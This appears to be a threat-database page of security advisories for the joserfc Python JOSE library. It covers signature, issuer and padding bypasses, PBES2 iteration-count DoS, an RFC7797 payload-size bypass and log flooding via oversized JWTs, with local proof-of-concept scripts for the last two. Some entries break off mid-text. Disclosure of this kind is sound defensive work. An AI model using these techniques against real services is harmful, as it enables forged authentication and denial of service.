Threat database

joserfc is a Python library that provides an implementation of several JSON Object Signing and Encryption (JOSE) standards. Prior to 1.7.4, joserfc.jws.deserialize_json() accepts a JWS General JSON Serialization with an empty signatures array as authenticated. The verify_general_json() loop performs no iterations for the empty array and returns success because no signature check failed, allowing an attacker without a signing key to supply an arbitrary payload that relying applications may treat as authentic. The issue affects the General JSON Serialization path; compact JWS and JWT decoding, Flattened JSON serialization, and JWE JSON processing do not follow this vulnerable path. This issue is fixed in version 1.7.4.

A vulnerability in the authlib joserfc Python library prior to version 1.7.3 allows issuer-validation bypass due to improper handling of array-valued 'iss' claims in JWT token validation. This can lead to authentication bypass by spoofing the issuer claim. The issue is fixed in version 1.7.3.

The joserfc Python library versions 1.7.1 and earlier accept JSON Web Tokens (JWTs) with trailing padding characters (==), which violates JOSE specifications and causes token malleability. This malleability can potentially allow bypassing token revocation or anti-replay protections that rely on deny lists of tokens or token hashes. The issue has been fixed in version 1.7.2.

# RFC7797 b64=false JWS payloads bypass JWSRegistry payload-size limits during deserialization ## Summary Testing revealed that `joserfc` accepts oversized RFC7797 `b64=false` JWS payloads without applying `JWSRegistry.max_payload_length`. The normal JWS compact and flattened JSON paths reject payloads above the configured payload-size limit with `ExceededSizeError`. The RFC7797 unencoded payload paths do not make the same check. A valid `b64=false` compact or flattened JSON JWS can therefore deserialize successfully with a payload larger than `JWSRegistry.max_payload_length`. This creates a moderate availability/resource-exhaustion risk for applications that accept lower-trust JWS values and rely on `joserfc` to reject oversized token content during verification. ## Affected Product - Package: `joserfc` - Ecosystem: `pip` - Audited release: `1.6.5` - Audit tag: `1.6.5` - Audit commit: `881712980934fb601bed26fe3ae1ec0b7780e6f7` - Tested affected releases: `1.3.4`, `1.3.5`, `1.4.2`, `1.6.2`, `1.6.3`, `1.6.4`, `1.6.5` - Fixed release: none known ## Vulnerability Details In `joserfc` 1.6.5, the default JWS registry has `max_payload_length = 128000` and exposes `validate_payload_size()`. The normal compact extraction path calls that check before base64url-decoding the payload. The RFC7797 compact path validates the header and signature segment sizes, then assigns the unencoded payload directly: ```text if is_rfc7797_enabled(protected): if not payload_segment and payload: payload_segment = to_bytes(payload) payload = payload_segment ``` The flattened JSON RFC7797 path has the same pattern: ```text payload_segment = value["payload"].encode("utf-8") if is_rfc7797_enabled(member.headers()): payload = payload_segment ``` Neither branch calls `registry.validate_payload_size(payload_segment)` before accepting the unencoded payload. ## Reproduction The proof below uses only local Python APIs. It signs a payload one byte over the default limit and then compares normal JWS behavior with RFC7797 `b64=false` behavior. Requirements: ```bash python -m pip install "joserfc==1.6.5" ``` Run: ```bash python joserfc_rfc7797_size_bypass_poc.py ``` Self-contained proof script: ```python #!/usr/bin/env python3 import json import joserfc from joserfc import jws from joserfc.jwk import OctKey def check_compact(name, header, payload, key): token = jws.serialize_compact(header, payload, key) try: obj = jws.deserialize_compact(token, key) return { "case": name, "accepted": True, "exception": None, "payload_len_after_deserialize": len(obj.payload), } except Exception as exc: return { "case": name, "accepted": False, "exception": type(exc).__name__, "error": str(exc), } def check_json(name, protected, payload, key): data = jws.serialize_json({"protected": protected}, payload, key) try: obj = jws.deserialize_json(data, key) return { "case": name, "accepted": True, "exception": None, "payload_len_after_deserialize": len(obj.payload), } except Exception as exc: return { "case": name, "accepted": False, "exception": type(exc).__name__, "error": str(exc), } key = OctKey.import_key("secret-secret-secret") limit = jws.default_registry.max_payload_length payload = "A" * (limit + 1) results = { "joserfc_version": joserfc.__version__, "default_max_payload_length": limit, "payload_len": len(payload), "compact": [ check_compact("normal_b64_true", {"alg": "HS256"}, payload, key), check_compact( "rfc7797_b64_false", {"alg": "HS256", "b64": False, "crit": ["b64"]}, payload, key, ), ], "json": [ check_json("normal_b64_true_json", {"alg": "HS256"}, payload, key), check_json( "rfc7797_b64_false_json", {"alg": "HS256", "b64": False, "crit": ["b64"]}, payload, key, ), ], } print(json.dumps(results, indent=2, sort_keys=True)) ``` Expected output on `1.6.5` includes: ```json { "default_max_payload_length": 128000, "payload_len": 128001, "compact": [ { "case": "normal_b64_true", "accepted": false, "exception": "ExceededSizeError" }, { "case": "rfc7797_b64_false", "accepted": true, "exception": null, "payload_len_after_deserialize": 128001 } ], "json": [ { "case": "normal_b64_true_json", "accepted": false, "exception": "ExceededSizeError" }, { "case": "rfc7797_b64_false_json", "accepted": true, "exception": null, "payload_len_after_deserialize": 128001 } ] } ``` ## Version Checks I reproduced the same differential behavior on

joserfc is a Python library that provides an implementation of several JSON Object Signing and Encryption (JOSE) standards. In 1.6.2 and earlier, a resource exhaustion vulnerability in joserfc allows an unauthenticated attacker to cause a Denial of Service (DoS) via CPU exhaustion. When the library decrypts a JSON Web Encryption (JWE) token using Password-Based Encryption (PBES2) algorithms, it reads the p2c (PBES2 Count) parameter directly from the token's protected header. This parameter defines the number of iterations for the PBKDF2 key derivation function. Because joserfc does not validate or bound this value, an attacker can specify an extremely large iteration count (e.g., 2^31 - 1), forcing the server to expend massive CPU resources processing a single token. This vulnerability exists at the JWA layer and impacts all high-level JWE and JWT decryption interfaces if PBES2 algorithms are allowed by the application's policy.

### Summary The `ExceededSizeError` exception messages are embedded with non-decoded JWT token parts and may cause Python logging to record an arbitrarily large, forged JWT payload. ### Details In situations where a misconfigured — or entirely absent — production-grade web server sits in front of a Python web application, an attacker may be able to send arbitrarily large bearer tokens in the HTTP request headers. When this occurs, Python logging or diagnostic tools (e.g., Sentry) may end up processing extremely large log messages containing the full JWT header during the `joserfc.jwt.decode()` operation. The same behavior also appears when validating claims and signature payload sizes, as the library raises `joserfc.errors.ExceededSizeError()` with the full payload embedded in the exception message. Since the payload is already fully loaded into memory at this stage, the library cannot prevent or reject it per se. It is therefore the responsibility of the underlying web server (`uvicorn`/`h11`, `gunicorn`, `Starlette`, `Werkzeug`, `nginx`...etc) to enforce limits on header sizes. For example, a `FastAPI`/`Starlette` application running _without_ `uvicorn` and/or `gunicorn` cannot enforce header size limits on its own. With `uvicorn`/`h11`, the [--h11-max-incomplete-event-size <int>](https://uvicorn.dev/settings/#implementation:~:text=%2D%2Dh11%2Dmax%2Dincomplete%2Devent%2Dsize%20%3Cint%3E) option can restrict the total size of the header _plus_ body, but not the header alone. Similarly, [vLLM serve](https://docs.vllm.ai/en/latest/cli/serve/#-h11-max-incomplete-event-size) —due to its reliance on `uvicorn`/`h11` and the need for heavy data transfer in ML inference workloads, sets a default limit of 4 MB for header _plus_ body and is frequently increased. In practice, a robust reverse proxy (such as `nginx`) is typically required because it can explicitly cap maximum header size. Unfortunately, many web applications do not run behind a proper reverse proxy. Given these constraints, the `joserfc` library cannot safely log or embed payloads of arbitrary size. This issue is particularly subtle, as it occurs only when a maliciously crafted JWT finally reaches the Python application, a scenario that most developers will never encounter during routine development and testing. ### PoC **Environment** Ubuntu 24.04 LTS Python 3.12 Tested on `joserfc` version `1.4.1` ```python import logging from datetime import UTC, datetime, timedelta from joserfc import jwt from joserfc.errors import ExceededSizeError, UnsupportedAlgorithmError from joserfc.jwk import OctKey logger = logging.getLogger(__name__) SECRET_KEY = "8c13bd66babc241b29f8553429bdab7deb6f5b74ddfda7765471e57ecd55641e" LONG_JWT_TOKEN = ( "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGQifQ" "." "eyJpc3MiOiJhdXRoX3NlcnZlciIsImlhdCI6MTc2MzI0OTEwMSwiZXhwIjoxNzY5MjQ5MTAxfQ" "." "6-k2jmkGXD6wXOgYgjPS8E5lS_GjWpgIuY54gokjAn8" ) HEADER = { "alg": ( "RS256dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd" "RS256dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd" "RS256dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd" "RS256dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd" "RS256dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd" "RS256dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd" ), } CLAIMS = { "iss": "auth_server", "iat": datetime.now(UTC), "exp": datetime.now(UTC) + timedelta(minutes=15), } def main(): # Create OctKey from SECRET_KEY key = OctKey.import_key(SECRET_KEY) # Simulate creating a very large JWT # (this will fail with joserfc.errors.UnsupportedAlgorithmError # due to an invalid 'alg' header content try: token = jwt.encode(HEADER, CLAIMS, key) except UnsupportedAlgorithmError: # Use a forged token that has the same header and claims instead # but an invalid signature token = LONG_JWT_TOKEN logger.warning(f"Created JWT: {token}") # Now try to decode the large JWT try: decoded_token = jwt.decode(token, key) logger.warning("This line will never be reached.") logger.warning(decoded_token.claims) except ExceededSizeError: logger.exception( "The JWT size is too large and may be a security attack attempt." ) # this i